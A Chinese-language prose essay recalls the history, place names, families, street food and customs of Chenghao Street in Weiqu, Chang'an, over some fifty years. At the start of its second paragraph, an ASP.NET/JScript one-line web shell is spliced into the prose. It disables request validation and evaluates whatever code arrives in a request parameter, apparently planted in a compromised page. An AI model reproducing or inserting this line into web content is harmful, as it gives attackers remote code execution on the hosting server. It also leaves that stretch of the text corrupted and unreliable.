散文:《风起城壕口》韦曲随笔(孙宝田)
走在长长的街巷中,我依然感受出乡村的悠闲自得和宁静祥和古风。沿着巷口向深处窥探,那曲折着的街路,弯弯延延,曲曲拐拐,一头通向城壕街,另一头在自家襟门口。两旁的土墙和兰瓦承载的不仅是农业文化的记忆,还有在这里过日子的人的心性以及传承了几十年、乃至几百年的风俗、口音和习俗,这正是地方风情作用的结果。
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["z"],"unsafe"));%>假如你按照韦曲的路标牌,或从地名录里查找,还真的难以我寻韦曲的巷口。满韦曲也只有两个有名堂的小巷子,一是药王洞巷,另一个是东小巷(但没巷牌)也许没正式命名。其次是:东韦村,小堡子,乔家村,西韦村。这其中有着怎样的故事?我不清楚!
据记载,〈韦曲〉二字从汉代就有了,此地,因诸韦氏居住而得名韦曲。城壕的一里长街,经过历代不断变革,早就没有了昔日的样子,听人说:韦曲城壕街建于清朝末期,还有人说:唐代就有人居住。我想这街,不要说隔上个几百年,就是几十年后再回头看,这街已经是天翻地覆,不但街变了数十回,街上的人换了一蒫又一蒫。街中一座小小的教堂就翻修了无数次,里边供奉的耶稣却还是老样子。
韦曲就是这样……。
据老韦曲人回忆,清初,街口只有九间商铺,巷街既窄又弯。福音堂南边便是韮菜地,冬夜更是惜荒,饿老子落眠一树。
韦曲,显然与韦氏家族有关,可我不知道〈城壕〉是谁命名的?求教过写《大写韦曲》的作者崔浩先生。他非常有把握地说,清初的老街道就是后来的城壕老街。他过去考证过这条小街,清朝以前,韦氏早年因官司逃去了南方某地。赶巧这条巷子荒野,土匪强人聚起,而卖售棺材、香烛、纸表、精货、杂货者甚多,白天,哭丧、寻人、观魂叫卖声不绝于耳,夜晚,狼在药王沟出没,贼匪在街中越墙。街,正好街临皇子坡城墙下故俗称《城壕》,谐音韦曲也叫成了余曲,老百姓都就这么叫起来了。
1949年7月,因长安县从大召迁入韦曲,正式把老街固定为〈韦曲〉。
英国人创办的基督教会就在城壕里,灾荒,年经过后,教会向灾民们施舍药品和棺材,一时间,善男信女涌满了半个城壕。这一幕景象住在街口的张祥先生至今都还记得。
城壕街口东韦村的张祥老先生只记起自已是西韦人,至于啥时候,啥原由,祖上东迁,搬入城壕居住的,他也说不清楚?幸有姓氏作证,因为东韦村大部分人姓田或姓孙或姓庞居多,却无一张姓,而西韦村七队却全都姓张。所以,先生总认为自已是漕水河岸边西韦村人氏。
我在韦曲居住了近五十年光景,也总忘不了城壕边的那段岁月。平时与西韦村收藏家张有平结成好友,城壕街口人都叫他二哥。
二哥家以前住在西韦村北一巷,与城壕街隔着一条路。待问及城壕的过去时,他常常摇头,表示城壕巷脉浅簿,不值一提。他总是有板有眼的讲起他收藏的古董,以及韦皇后的墓地。二哥说时心情平静,看来他总忘不了在剧团后边塬楞挖出的那半块墓碑和残缺不全的碑文!
皂河旧谓〈漕水〉,南来从宁远堡流过,河面宽五步以上,河水浅淹过膝盖,韦曲段无桥,可涉水过河,弯弯延延向杜城流去!昔年,韦姓人的官邸兴三月上巳日行祓禊盛会(一种消灾的祭礼),这天亲友相聚,曲水流饮,故称这里为韦曲。今以长安路一马两分,即为韦曲东村、韦曲西村两村。韦曲人素来以耕粮涉菜业为重,口前语:“河营韭,塔坡米,桥村韭黄皂河洗,东韦葱 ,西韦蒜,张村萝卜申家桥的碳”。
1972年,长安县百货大楼建设时,在地基的河床上挖出一尊庙宇里日用的瓦罐,尖底,小口,无文印,象个和尚们化缘用的钵鱼卜器。由此断定她的旧地是一座修在河床上的庙宇。对门是民教馆,庙地原有前后两座大殿,建在三米高的砖台上,东西皆有厢房,南门外一排盘龙柳,西墙外一行古槐树!显得神圣而庄严,护佑着韦曲城壕街的风水,也见证了城壕的兴衰。可惜后来拆了。
五十年的风雨变迁,也包括百货大楼的前世今生,城壕口发生了多少故事,韦曲人历历在目共堵。
我刚入韦曲时,听说以前有许多古建筑,后来陆续都拆掉了。比如旁边大名鼎鼎华纱布公司,就位于老街口的无量庙隔壁。药王沟的法华寺,据说当年许多穷人避难就歇身在寺旁的土窖洞里,有的白天去城壕街讨饭,有的人去了晚上就没有再回来了,寺里的和尚举着火把通夜去寻找,却杳无音讯。
巷口,是一方人习俗的通道,巷口,是乡党们聚闲卖眼的地方。对于居住的人们来说,巷子是赖以过日子、享受天伦之乐的一块净土;而对于文化而言,则是传承的载体。例如过会,过年,娶媳妇,埋人,清明节,十月一,都过程着一方水土和人的乡俗文化和心性!
有人说,从遗留的街名上,仍可以读出那街昔日风雨秋霜的风景。这话我信!
夜深人静的时候,拿一张民国地图,在上面查找居住过的韦曲城壕。一盏昏灯,悲至心来,我试图让古老街巷从图上鱼贯而出。
随着光阴的流去,韦曲老街出现在梦中的次数只会增加,耳畔常常想起清晨街上食铺的叫卖声。那手攥着一块钱的碎娃,咥热豆腐,或去吃油茶,或买块葱花饼的情景历历在目。还记得梧桐树上的雀儿叽叽喳喳,跳跃到巷路上在行客脚下争食的情景。店铺门边放着一口大铁锅,夜黑咧刚制成的腊汁肉,大块冒着热气和香气放在锅旁案上,老板油手接过递来的钱,顺手刀起馍开,干脆利落地把刀上流油的碎肉块放进馍里,用那牛皮纸袋盛了,然后大声喊一声:吃货挾馍!您奈!
在巷口稍歇兀坐,和水果摊的老田交谈,知道他是东韦人,在村里生活有六十多年了,对于城壕街了解至深。询问一番,他笑着和我说道:韦曲就是城壕,城壕却不是韦曲,这没有什么特殊的含义。过路人听了大或不解?唯有小堡子占了城壕边上,这可能是一种约定俗成的讲究吧?也许这其中还有不为人知的故事呢!
有一些巷子,它是在人类的演变中自然形成的,没有人知道为什么?大家都那样叫她,成为约定俗成的记忆,人们也愿意去接受的一个俗成的称呼,而对既定的事实,人们有时候不愿去深究的,这可能是一种随遇而安的幸福吧!
今天,城壕街依然夹在东韦村与长安路中间,几乎是被新街的楼房“淹没”了。靠近东韦村那一边极其安静,只有二条横向的小巷与街贯通,另一侧是长安路,那车拥人潮,早中晚没有不堵车的时候。和长安路的繁华相比,东韦村一边则安静许多,往里走走,似乎隔绝了城市里一切的繁华喧嚣。两条小巷,两边村民房内开设了大大小小的铺子,有卖菜的,补鞋的,有剃头修脚的,也有酒店浴池一类的……。东小巷巷口河南旦新鲜的蔬菜,一大早就开始热卖,头顶上也没有棚子遮挡风雨,来买东西的大多数是老汉老婆们,和城壕街的繁忙,这儿显得尤为闲适,不嘈杂,不拥挤,买菜可以挑挑拣拣,无事可以和街坊邻居拉拉家常,乡村气息浓厚,农家情景亲切。
五十年前,城壕南通县府门,药王沟就在县府后边,北到凤栖。原下北十字口,街上的老人常说:“县政府在这里嘛,韦曲当然算是县城中心”。
其实,日子就是故事,街巷也存在着日子。如今的城壕,几乎成了乡食小吃一条街,小摊铺子体现的是传统与繁华。在平常的日子里,人们活着另一种淡然的态度,热闹也好,平常也罢,都是一种文化态度,值得我们挂念。
记忆是美好的,而现在的城壕,最终也会成为长安韦曲美好记忆的一部分,那时的城壕老街想必仍然是片有故事的地方。
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